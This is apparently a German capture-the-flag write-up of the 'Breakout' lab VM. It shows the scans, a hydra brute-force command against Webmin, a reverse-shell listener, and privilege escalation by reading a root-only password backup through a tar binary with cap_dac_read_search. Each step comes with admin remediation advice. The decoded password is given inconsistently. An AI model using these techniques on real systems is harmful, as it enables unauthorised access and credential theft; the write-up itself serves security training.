Analyse: Start der Aufklärung mit `arp-scan -l`, um aktive Geräte im lokalen Netzwerk zu finden.
192.168.2.136 08:00:27:f5:06:5a PCS Systemtechnik GmbH
Bewertung: Ein Host mit der IP 192.168.2.136 wurde identifiziert. Die MAC-Adresse weist auf eine VirtualBox VM hin. Dies ist unser Ziel "Breakout".
Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.136 durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um `192.168.2.136 breakout` für die spätere Verwendung des Hostnamens.
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung gelten.
Analyse: Ein `nmap`-Scan wird auf das Ziel durchgeführt, um offene Ports, Dienste und Versionen zu identifizieren. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-A` (Aggressive Optionen: OS-Erkennung, Versionen, Skripte, Traceroute), `-O` (OS-Erkennung, redundant mit -A), `-p-` (alle TCP-Ports).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 23:33 CEST Nmap scan report for breakout (192.168.2.136) Host is up (0.00012s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-server-header: Apache/2.4.51 (Debian) |_http-title: Apache2 Debian Default Page: It works 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 10000/tcp open http MiniServ 1.981 (Webmin httpd) |_http-title: 200 — Document follows 20000/tcp open http MiniServ 1.830 (Webmin httpd) |_http-title: 200 — Document follows MAC Address: 08:00:27:F5:06:5A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Host script results: |_clock-skew: -1s | smb2-security-mode: | 311: |_ Message signing enabled but not required |_nbstat: NetBIOS name: BREAKOUT, NetBIOS user:, NetBIOS MAC: 000000000000 (Xerox) | smb2-time: | date: 2023-04-24T21:34:03 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.12 ms breakout (192.168.2.136) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
Bewertung: Mehrere interessante Ports sind offen: * **Port 80 (HTTP):** Standard Apache Seite. * **Port 139/445 (NetBIOS/SMB):** Samba-Dienst (Version 4.6.2). SMB ist oft ein guter Angriffsvektor für Enumeration und manchmal Exploits. Message Signing ist aktiviert, aber nicht erforderlich. * **Port 10000 (HTTP):** Webmin (MiniServ 1.981). Webmin ist eine webbasierte Systemadministrations-Schnittstelle, oft ein primäres Ziel. * **Port 20000 (HTTP):** Eine weitere Webmin-Instanz (MiniServ 1.830), eine ältere Version. Das Vorhandensein von zwei Webmin-Instanzen auf verschiedenen Ports ist ungewöhnlich und deutet auf eine benutzerdefinierte Konfiguration oder potenzielle Fehlkonfiguration hin. Die ältere Version auf Port 20000 könnte anfälliger sein.
Empfehlung (Pentester):
1. Enumerieren Sie Samba (Ports 139/445) auf Shares, Benutzer und Schwachstellen (z.B. mit `enum4linux`, `smbclient`, `nmap smb-*-scripts`).
2. Untersuchen Sie beide Webmin-Instanzen (Port 10000 und 20000). Prüfen Sie auf Standardanmeldedaten und bekannte Schwachstellen für die jeweiligen Versionen (1.981 und 1.830). Beachten Sie, dass Port 10000 laut späterer Ausgabe SSL erwartet.
3. Führen Sie eine grundlegende Web-Enumeration auf Port 80 durch.
Empfehlung (Admin): Deaktivieren Sie nicht benötigte Dienste (Samba, Webmin), wenn möglich. Halten Sie Samba und Webmin auf dem neuesten Stand. Schränken Sie den Zugriff auf administrative Schnittstellen wie Webmin auf vertrauenswürdige IPs ein. Erzwingen Sie SMB Message Signing (`server signing = mandatory` in `smb.conf`), um Man-in-the-Middle-Angriffe zu erschweren. Stellen Sie sicher, dass keine veralteten Webmin-Versionen laufen. Konfigurieren Sie Webmin für HTTPS (SSL/TLS) und verwenden Sie starke Authentifizierung.
Analyse: `gobuster` wird auf Port 80 ausgeführt, um nach Dateien und Verzeichnissen zu suchen. Die Optionen sind Standard für eine grundlegende Suche.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.136 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,kdbx [+] Expanded: true [+] Suppress error output: true [+] Timeout: 10s =============================================================== [Scan Start Time] Starting gobuster =============================================================== http://192.168.2.136/index.html (Status: 200) [Size: 11159] http://192.168.2.136/manual (Status: 301) [Size: 315] [--> http://192.168.2.136/manual/] =============================================================== [Scan End Time] Finished ===============================================================
Bewertung: Neben der Standard `index.html` wurde das Verzeichnis `/manual` gefunden. Dies könnte die Apache-Dokumentation enthalten oder andere interessante Informationen. Es lohnt sich, dieses Verzeichnis zu untersuchen, auch wenn der Fokus wahrscheinlich auf Samba und Webmin liegen wird.
Empfehlung (Pentester): Werfen Sie einen kurzen Blick in das `/manual`-Verzeichnis. Fahren Sie dann mit der Samba-Enumeration fort.
Empfehlung (Admin): Entfernen Sie die Standard-Apache-Seite und das `/manual`-Verzeichnis, wenn sie nicht benötigt werden, um die Angriffsfläche und die Informationspreisgabe zu reduzieren.
Analyse: `enum4linux -a` wird verwendet, um eine umfassende Enumeration des Samba-Dienstes auf dem Ziel durchzuführen. `-a` steht für "all" und versucht, Informationen über Shares, Benutzerlisten, Gruppen, Passwortrichtlinien, OS-Informationen usw. zu sammeln, oft durch Null-Sessions (anonyme Anmeldung).
========================== | Target: 192.168.2.136 | ========================== [+] Server 192.168.2.136 allows sessions using username '', password '' === Obtaining OS Info for 192.168.2.136 === [+] Got OS info for 192.168.2.136 from srvinfo: BREAKOUT Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian platform_id : 500 os version : 6.1 server type : 0x809a03 === Obtaining Share List for 192.168.2.136 === [+] Attempting to obtain shares using rpcclient with username '', password '' Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) [+] Attempting to map shares on 192.168.2.136 //192.168.2.136/print$ Mapping: DENIED Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \\192.168.2.136\IPC$ //192.168.2.136/IPC$ Mapping: N/A Listing: N/A Writing: N/A === Obtaining Password Policy for 192.168.2.136 === [+] Attaching to 192.168.2.136 using a NULL session... success! [+] Getting password policy Password Complexity: Disabled Minimum Password Length: 5 === Enumerating Users === [+] Enumerating users using SID S-1-5-32 and logon username '', password '' S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) S-1-5-32-546 BUILTIN\Guests (Local Group) S-1-5-32-547 BUILTIN\Power Users (Local Group) S-1-5-32-548 BUILTIN\Account Operators (Local Group) S-1-5-32-549 BUILTIN\Server Operators (Local Group) S-1-5-32-550 BUILTIN\Print Operators (Local Group) [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\cyber (Local User) [+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username '', password '' S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User) S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group) === Getting printer info for 192.168.2.136 === [+] Trying to get printer info from WMI with username '', password '' WMI query failed. Trying Rpcclient... No printers returned. enum4linux complete on Mon Apr 24 23:36:34 2023
Bewertung: `enum4linux` liefert wichtige Informationen: * **Null-Session erlaubt:** Anonyme Verbindungen sind möglich. * **Samba-Version:** 4.13.5-Debian (neuere Version als von Nmap erkannt: 4.6.2 - enum4linux ist hier oft genauer). * **Shares:** Nur die Standard-Shares `print$` (Zugriff verweigert) und `IPC$` sind sichtbar. Keine benutzerdefinierten Shares gefunden. * **Passwortrichtlinie:** Komplexität deaktiviert, Mindestlänge 5. Dies deutet auf potenziell schwache Passwörter hin. * **Benutzer gefunden:** Der wichtigste Fund ist `Unix User\cyber (Local User)` mit der RID 1000. Dies ist wahrscheinlich ein regulärer Benutzer auf dem System.
Empfehlung (Pentester): Der Benutzername `cyber` ist ein wertvoller Hinweis. Versuchen Sie, das Passwort für diesen Benutzer zu finden oder zu erraten/bruteforcen, insbesondere für die Webmin-Instanzen oder falls SSH verfügbar wäre. Da die Passwortkomplexität deaktiviert ist, könnte ein Angriff mit `hydra` auf Webmin (oder andere Dienste) mit dem Benutzernamen `cyber` und einer gängigen Passwortliste (wie `rockyou.txt`) erfolgreich sein.
Empfehlung (Admin): Deaktivieren Sie Null-Sessions für Samba, wenn nicht zwingend erforderlich (`restrict anonymous = 2` in `smb.conf`). Erzwingen Sie eine starke Passwortrichtlinie (Komplexität, Mindestlänge, Verlauf). Entfernen Sie nicht benötigte Benutzerkonten. Beschränken Sie die über SMB preisgegebenen Informationen.
Analyse: Der Versuch, auf die Webmin-Instanz auf Port 10000 via HTTP zuzugreifen, schlägt fehl. Der Server meldet, dass er im SSL-Modus läuft und HTTPS verwendet werden soll. Dies erklärt, warum Nmap den Dienst als HTTP und nicht HTTPS erkannt hat (Nmap prüft nicht immer auf SSL bei unbekannten Ports, es sei denn, `-sV` oder Skripte erkennen es).
http://192.168.2.136:10000/ Error — Document follows This web server is running in SSL mode. Try the URL https://breakout:10000/ instead.
Bewertung: Port 10000 erfordert HTTPS. Die Untersuchung sollte mit `https://breakout:10000/` fortgesetzt werden. Es ist jedoch wahrscheinlicher, dass die ältere Version auf Port 20000 (die im Nmap-Scan kein SSL zu erfordern schien) das primäre Ziel ist.
Empfehlung (Pentester): Konzentrieren Sie sich zuerst auf Port 20000 (HTTP), da dieser einfacher anzugreifen sein könnte. Versuchen Sie, sich dort mit dem Benutzernamen `cyber` und potenziellen Passwörtern anzumelden. Prüfen Sie Port 10000 (HTTPS) später, falls Port 20000 keine Ergebnisse liefert.
Empfehlung (Admin): Stellen Sie sicher, dass alle Webmin-Instanzen (und generell alle Web-Schnittstellen) HTTPS verwenden. Leiten Sie HTTP-Anfragen auf HTTPS um. Verwenden Sie gültige SSL/TLS-Zertifikate.
Analyse: Dieser Abschnitt beschreibt den Versuch, sich bei einer Webmin-Instanz anzumelden (wahrscheinlich Port 20000, da kein SSL erwähnt wird). Der Login schlägt fehl. Es wird auch ein `hydra`-Befehl gezeigt, der versucht, das Passwort für den Benutzer `cyber` auf der Webmin-Login-Seite (`/session_login.cgi`) mittels eines POST-Formular-Angriffs und der `rockyou.txt`-Wortliste zu bruteforcen. Die Ausgabe von Hydra fehlt, was darauf hindeutet, dass der Angriff entweder nicht erfolgreich war oder abgebrochen wurde.
Warning! Login failed. Please try again. Webmin You must enter a username and password to login to the server on breakout hydra -l cyber -P /usr/share/wordlists/rockyou.txt breakout http-post-form '/session_login.cgi:user=^USER^&pass=^PASS^:Login failed. Please try again.'
Bewertung: Ein direkter Login oder Passwort-Brute-Force scheint (zumindest mit `rockyou.txt`) nicht erfolgreich zu sein. Es muss nach anderen Wegen gesucht werden, um Anmeldedaten zu finden.
Empfehlung (Pentester): Untersuchen Sie den Quellcode der Apache-Standardseite auf Port 80 auf versteckte Informationen oder Kommentare. Suchen Sie nach bekannten Schwachstellen für Webmin 1.830 (Port 20000).
Empfehlung (Admin): Implementieren Sie Account-Lockout-Mechanismen, um Brute-Force-Angriffe auf Webmin (und andere Login-Formulare) zu verhindern. Verwenden Sie starke, einzigartige Passwörter.
Analyse: Im Quellcode der Webseite (vermutlich der Apache-Seite auf Port 80 oder einer der Webmin-Seiten) wurde ein HTML-Kommentar gefunden. Dieser Kommentar enthält eine Nachricht und einen langen String aus Brainfuck-Code. Brainfuck ist eine esoterische Programmiersprache, deren Code oft zur Verschleierung verwendet wird. Der Code muss mit einem Interpreter ausgeführt werden, um die verschlüsselte Nachricht zu erhalten.
<-- don't worry no one will get here, it's safe to share with you my access. Its encrypted :) ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->
Bewertung: Dies ist ein sehr vielversprechender Fund! Der Kommentar deutet explizit auf "Zugangsdaten" hin, die "verschlüsselt" sind. Die Entschlüsselung des Brainfuck-Codes wird wahrscheinlich das benötigte Passwort liefern.
Empfehlung (Pentester): Kopieren Sie den Brainfuck-Code. Verwenden Sie einen Online-Brainfuck-Interpreter oder ein lokales Tool (z.B. `bf`), um den Code auszuführen und die Ausgabe (das Passwort) zu erhalten.
Empfehlung (Admin): Hinterlassen Sie niemals sensible Informationen wie Passwörter oder Hinweise darauf in HTML-Kommentaren oder im Quellcode, selbst wenn sie verschleiert oder "verschlüsselt" erscheinen. Code-Obfuskation ist keine sichere Verschlüsselung. Führen Sie Code-Reviews durch, um solche Probleme zu finden.
Analyse: Der Brainfuck-Code wurde entschlüsselt (Schritt nicht gezeigt, aber Ergebnis wird präsentiert). Die Ausgabe ist das Passwort: `.2uqPEfj3D P'a-3`.
Antwort: .2uqPEfj3D
Bewertung: Das Passwort für den Benutzer `cyber` wurde erfolgreich ermittelt.
Empfehlung (Pentester): Versuchen Sie erneut, sich bei Webmin (insbesondere auf Port 20000, da älter und HTTP) mit dem Benutzernamen `cyber` und dem Passwort .2uqPEfj3D
Empfehlung (Admin): Ändern Sie sofort das Passwort des Benutzers `cyber`. Beheben Sie die Informationspreisgabe im HTML-Kommentar.
Analyse: Mit den gefundenen Anmeldedaten (`cyber` / `.2uqPEfj3D P'a-3`) wird ein Login bei der Webmin-Instanz auf Port 20000 (via HTTPS, wie die URL `https://breakout:20000/...` zeigt - *Korrektur:* Nmap zeigte Port 20000 als HTTP, aber die URL hier ist HTTPS. Es wird angenommen, dass HTTPS korrekt ist oder eine Umleitung stattfindet) versucht. Der Login ist erfolgreich. Innerhalb der Webmin-Oberfläche wird eine Funktion genutzt, um Befehle auszuführen (oft über ein Terminal-Modul oder eine Funktion zur Befehlsausführung).
https://breakout:20000/mailbox/index.cgi?id=INBOX&xnavigation=1
username: cyber
password: .2uqPEfj3D
ganz unten ist eine Symbolleiste, dort ist ein Terminal:
https://breakout:20000/mailbox/list_addresses.cgi?xnavigation=1
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) [cyber@breakout ~]$
Bewertung: **Initial Access erfolgreich!** Der Login bei Webmin war erfolgreich, und über die integrierte Terminal-Funktion wurde Befehlszugriff als Benutzer `cyber` erlangt. Dies ist ein signifikanter Fortschritt.
Empfehlung (Pentester): Nutzen Sie das Webmin-Terminal, um eine stabilere Reverse Shell zum Angreifer-System aufzubauen. Führen Sie dann Enumerationsschritte als Benutzer `cyber` durch.
Empfehlung (Admin): Ändern Sie das Passwort von `cyber`. Sichern Sie den Webmin-Zugang ab (starke Passwörter, 2FA falls möglich, Zugriffsbeschränkung auf IPs). Deaktivieren Sie nicht benötigte Webmin-Module, insbesondere solche, die Befehlsausführung erlauben, wenn sie nicht zwingend für die Administration benötigt werden.
Analyse: Grundlegende Enumeration im Webmin-Terminal als Benutzer `cyber`. Es wird das Home-Verzeichnis aufgelistet und die Datei `user.txt` gefunden und gelesen.
cyber
[Keine Ausgabe]
total 568 drwxr-xr-x 8 cyber cyber 4096 Oct 20 2021 . drwxr-xr-x 3 root root 4096 Oct 19 2021 .. -rw------- 1 cyber cyber 0 Oct 20 2021 .bash_history -rw-r--r-- 1 cyber cyber 220 Oct 19 2021 .bash_logout -rw-r--r-- 1 cyber cyber 3526 Oct 19 2021 .bashrc drwxr-xr-x 2 cyber cyber 4096 Oct 19 2021 .filemin drwx------ 2 cyber cyber 4096 Oct 19 2021 .gnupg drwxr-xr-x 3 cyber cyber 4096 Oct 19 2021 .local -rw-r--r-- 1 cyber cyber 807 Oct 19 2021 .profile drwx------ 2 cyber cyber 4096 Oct 19 2021 .spamassassin -rwxr-xr-x 1 root root 531928 Oct 19 2021 tar drwxr-xr-x 2 cyber cyber 4096 Oct 20 2021 .tmp drwx------ 16 cyber cyber 4096 Oct 19 2021 .usermin -rw-r--r-- 1 cyber cyber 48 Oct 19 2021 user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
Bewertung: Die User-Flag wurde gefunden und gelesen. Auffällig ist auch die Datei `tar`, die `root` gehört, aber im Home-Verzeichnis von `cyber` liegt und ausführbar ist. Dies ist ein starker Hinweis auf einen möglichen Privilege-Escalation-Vektor.
Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Untersuchen Sie die `tar`-Datei genauer (Version, Capabilities, SUID-Bit?). Etablieren Sie eine Reverse Shell für eine bessere Arbeitsumgebung außerhalb von Webmin.
Empfehlung (Admin): Überprüfen Sie, warum eine `root`-eigene `tar`-Datei im Benutzerverzeichnis liegt und ob dies beabsichtigt ist. Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind.
Analyse: Aufbau einer Reverse Shell vom Webmin-Terminal zum Angreifer-System. 1. Ein Netcat-Listener wird auf dem Angreifer-System (angenommene IP 192.168.2.130) auf Port 4444 gestartet. 2. Ein Reverse-Shell-Befehl (nicht explizit gezeigt, aber impliziert) wird im Webmin-Terminal ausgeführt, der sich zum Listener auf Port 4444 verbindet. 3. Der Listener empfängt die Verbindung.
listening on [any] 4444 ... connect to [192.168.2.130] from (UNKNOWN) [192.168.2.136] 35918
Bewertung: Eine einfache Reverse Shell als Benutzer `cyber` wurde etabliert. Dies ist besser als das Webmin-Terminal.
Empfehlung (Pentester): Stabilisieren Sie die Shell.
Empfehlung (Admin): Egress Filtering und Prozessüberwachung können helfen, Reverse Shells zu erkennen und zu verhindern.
Analyse: Die Reverse Shell wird mit den Standard-Python-PTY- und stty-Methoden stabilisiert, um volle Interaktivität zu erlangen.
[Prompt wird zu Bash-Prompt]
[Keine Ausgabe]
[1] + continued nc -lvnp 4444 reset
[Keine Ausgabe]
Bewertung: Die Shell ist jetzt stabil und bereit für die Privilege Escalation.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration für die Rechteausweitung, insbesondere der Untersuchung der `tar`-Datei im Home-Verzeichnis.
Empfehlung (Admin): Keine neuen Empfehlungen.
Analyse: Suche nach SUID-Dateien als potenziellen Vektor für Rechteausweitung. `find / -type f -perm -4000 -ls 2>/dev/null` listet alle Dateien im System auf, die das SUID-Bit gesetzt haben, und unterdrückt Fehler.
395668 36 -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount 391773 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 395391 72 -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su 391772 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 395666 56 -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount 403944 36 -rwsr-xr-x 1 root root 34896 Feb 26 2021 /usr/bin/fusermount 395243 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 391769 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 391770 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 395223 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 653868 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign
Bewertung: Die gefundenen SUID-Dateien sind Standard-Systemdateien und bieten auf den ersten Blick keinen ungewöhnlichen oder leicht ausnutzbaren Vektor. Der Fokus sollte wieder auf der verdächtigen `tar`-Datei im Home-Verzeichnis liegen.
Empfehlung (Pentester): Untersuchen Sie die `tar`-Datei mit `ls -la`, `file`, `strings` und insbesondere `getcap`, um Linux Capabilities zu prüfen.
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Dateien und entfernen Sie unnötige SUID-Bits.
Analyse: Die verdächtige `tar`-Datei im Home-Verzeichnis von `cyber` wird untersucht. Zuerst wird versucht, mit dieser `tar`-Version eine Root-Datei zu lesen (`/root/.ssh/id_rsa`), was fehlschlägt (No such file or directory - die Datei existiert nicht). Anschließend wird `getcap tar` ausgeführt, um die Capabilities dieser spezifischen `tar`-Datei zu prüfen.
./tar: /root/.ssh/id_rsa: Cannot open: No such file or directory ./tar: Error is not recoverable: exiting now
tar cap_dac_read_search=ep
Bewertung: **Kritischer Fund!** Die lokale `tar`-Datei hat die Capability `cap_dac_read_search=ep` gesetzt. * `cap_dac_read_search`: Erlaubt das Umgehen von Datei-Leseberechtigungen und Verzeichnis-Lese-/Ausführungsberechtigungen. * `e`: Effective - Die Capability ist aktiv. * `p`: Permitted - Die Capability darf vom Prozess angenommen werden. Das bedeutet, dass diese spezielle `tar`-Datei Dateien lesen kann, auf die der Benutzer `cyber` normalerweise keinen Zugriff hätte (z.B. Dateien von `root`).
Empfehlung (Pentester): Nutzen Sie diese `tar`-Datei mit der `cap_dac_read_search`-Capability, um sensible Dateien zu lesen, die Passwörter oder andere Hinweise zur Eskalation auf Root enthalten könnten. Suchen Sie nach Backup-Dateien, Konfigurationsdateien, privaten Schlüsseln etc. Überprüfen Sie systemweit nach anderen Dateien mit Capabilities (`getcap -r / 2>/dev/null`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die `cap_dac_read_search`-Capability von der `tar`-Datei (`sudo setcap cap_dac_read_search-ep ./tar`). Untersuchen Sie, warum diese Capability gesetzt wurde und ob andere Dateien ebenfalls unsichere Capabilities haben. Verwenden Sie Capabilities mit äußerster Vorsicht und nur, wenn absolut notwendig. Entfernen Sie die lokale Kopie von `tar`.
Analyse: Es wird systemweit nach Dateien mit gesetzten Capabilities gesucht.
/home/cyber/tar cap_dac_read_search=ep /usr/bin/ping cap_net_raw=ep
Bewertung: Die Suche bestätigt, dass nur die lokale `tar`-Datei und das Standard-`ping`-Utility (benötigt `cap_net_raw` für ICMP-Pakete) Capabilities haben. Dies bestätigt, dass die `tar`-Datei der primäre Vektor ist.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung der `tar`-Capability.
Empfehlung (Admin): Fokus auf die Bereinigung der `tar`-Capability.
Analyse: Es wird nach potenziell interessanten Verzeichnissen gesucht, wobei `/var/backups` überprüft wird. Anschließend wird der Inhalt von `/var/backups` aufgelistet.
backups lib lock mail run tmp webmin cache local log opt spool usermin www
[Keine Ausgabe, oder leer]
total 12 drwxr-xr-x 2 root root 4096 Oct 20 2021 . drwxr-xr-x 14 root root 4096 Oct 19 2021 .. -rw------- 1 root root 17 Oct 20 2021 .old_pass.bak
Bewertung: Im Verzeichnis `/var/backups` befindet sich eine versteckte Datei `.old_pass.bak`, die `root` gehört und nur für `root` lesbar ist (`-rw-------`). Dies ist ein perfektes Ziel für die Ausnutzung der `tar`-Capability. Die Datei enthält höchstwahrscheinlich ein altes (oder aktuelles) Passwort.
Empfehlung (Pentester): Verwenden Sie die lokale `./tar`-Datei mit der Capability, um den Inhalt von `/var/backups/.old_pass.bak` zu extrahieren oder anzuzeigen.
Empfehlung (Admin): Speichern Sie niemals Passwörter in Backup-Dateien, insbesondere nicht mit solch offensichtlichen Namen. Löschen Sie die Datei `.old_pass.bak`. Überprüfen Sie alle Backup-Skripte und -Speicherorte auf sensible Daten. Beschränken Sie den Zugriff auf Backup-Verzeichnisse.
Analyse: Die `tar`-Datei mit der `cap_dac_read_search`-Capability wird verwendet, um die nur für Root lesbare Datei `/var/backups/.old_pass.bak` in ein neues Archiv `bak.tar` im aktuellen Verzeichnis (`/home/cyber`) zu packen. Da `./tar` die Leseberechtigungen umgehen kann, gelingt dieser Vorgang, obwohl der Benutzer `cyber` die Datei normalerweise nicht lesen könnte. Der Befehl `tar -cf [archiv] [datei]` erstellt (`c`) ein Archiv (`f` für file) mit dem angegebenen Namen und Inhalt.
./tar: Removing leading `/' from member names
Bewertung: Der Befehl war erfolgreich. Die sensible Datei `.old_pass.bak` wurde trotz fehlender Leseberechtigungen in das Archiv `bak.tar` kopiert, das nun dem Benutzer `cyber` gehört und von ihm gelesen werden kann.
Empfehlung (Pentester): Extrahieren Sie den Inhalt von `bak.tar` oder lesen Sie ihn direkt (z.B. mit `cat bak.tar` oder `tar -xf bak.tar` und dann `cat var/backups/.old_pass.bak`), um das Passwort zu erhalten.
Empfehlung (Admin): Entfernen Sie die Capability von `tar`. Löschen Sie die Passwort-Datei.
Analyse: Der Inhalt des Home-Verzeichnisses wird erneut aufgelistet, um die erstellte `bak.tar`-Datei zu sehen.
total 580 drwxr-xr-x 8 cyber cyber 4096 Apr 24 18:12 . drwxr-xr-x 3 root root 4096 Oct 19 2021 .. -rw-r--r-- 1 cyber cyber 10240 Apr 24 18:12 bak.tar -rw------- 1 cyber cyber 0 Oct 20 2021 .bash_history -rw-r--r-- 1 cyber cyber 220 Oct 19 2021 .bash_logout -rw-r--r-- 1 cyber cyber 3526 Oct 19 2021 .bashrc drwxr-xr-x 2 cyber cyber 4096 Oct 19 2021 .filemin drwx------ 2 cyber cyber 4096 Oct 19 2021 .gnupg drwxr-xr-x 3 cyber cyber 4096 Oct 19 2021 .local -rw-r--r-- 1 cyber cyber 807 Oct 19 2021 .profile drwx------ 2 cyber cyber 4096 Oct 19 2021 .spamassassin -rwxr-xr-x 1 root root 531928 Oct 19 2021 tar drwxr-xr-x 2 cyber cyber 4096 Oct 20 2021 .tmp drwx------ 16 cyber cyber 4096 Oct 19 2021 .usermin -rw-r--r-- 1 cyber cyber 48 Oct 19 2021 user.txt
Bewertung: Die Datei `bak.tar` ist vorhanden und hat eine Größe von 10 KB (was für eine einzelne Passwortdatei sehr groß ist, aber `tar` fügt Header hinzu).
Empfehlung (Pentester): Lesen Sie den Inhalt der `bak.tar`.
Empfehlung (Admin): Keine neuen Empfehlungen.
Analyse: Der Inhalt der `bak.tar`-Datei wird mit `cat` direkt ausgegeben. Da `.tar`-Dateien auch Header-Informationen enthalten, ist das eigentliche Passwort irgendwo zwischen den Metadaten versteckt.
var/backups/.old_pass.bak0000600000000000000000000000002114134001
114014303 0ustar rootrootTs&4&YurgtRX(=~h
Bewertung: Das Passwort `Ts&4&YurgtRX(=~h` wurde erfolgreich aus dem Tar-Archiv extrahiert. Dies ist höchstwahrscheinlich das Root-Passwort.
Empfehlung (Pentester): Versuchen Sie, sich mit `su root` und diesem Passwort als Root anzumelden.
Empfehlung (Admin): Ändern Sie sofort das Root-Passwort. Entfernen Sie die Capability von `tar` und die Backup-Datei.
Analyse: Es wird versucht, mit `su root` und dem aus der Backup-Datei extrahierten Passwort zum Root-Benutzer zu wechseln.
Password: Ts&4&YurgtRX(=~h
root@breakout:/home/cyber#
Bewertung: **Privilege Escalation erfolgreich!** Das Passwort war korrekt, und der Benutzer hat nun Root-Zugriff auf das System.
Empfehlung (Pentester): Lesen Sie die Root-Flag. Führen Sie Post-Exploitation-Aufgaben durch.
Empfehlung (Admin):** **Dringend:** Ändern Sie das Root-Passwort. Beheben Sie die zugrundeliegenden Schwachstellen (Capability auf `tar`, Passwort in Backup-Datei). Führen Sie eine Systemprüfung durch.
Analyse: Nach Erlangung der Root-Rechte werden die User- und Root-Flags gelesen. Die User-Flag (`user.txt`) befindet sich im Home-Verzeichnis von `cyber`. Die Root-Flag befindet sich in `/root/rOOt.txt`.
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
[Keine Ausgabe]
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung wurde erreicht.
Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: Informationspreisgabe im HTML-Kommentar, veraltetes Webmin, unsichere Dateiberechtigungen/Passwortspeicherung in `/var/backups`, gefährliche Linux Capability auf `tar`.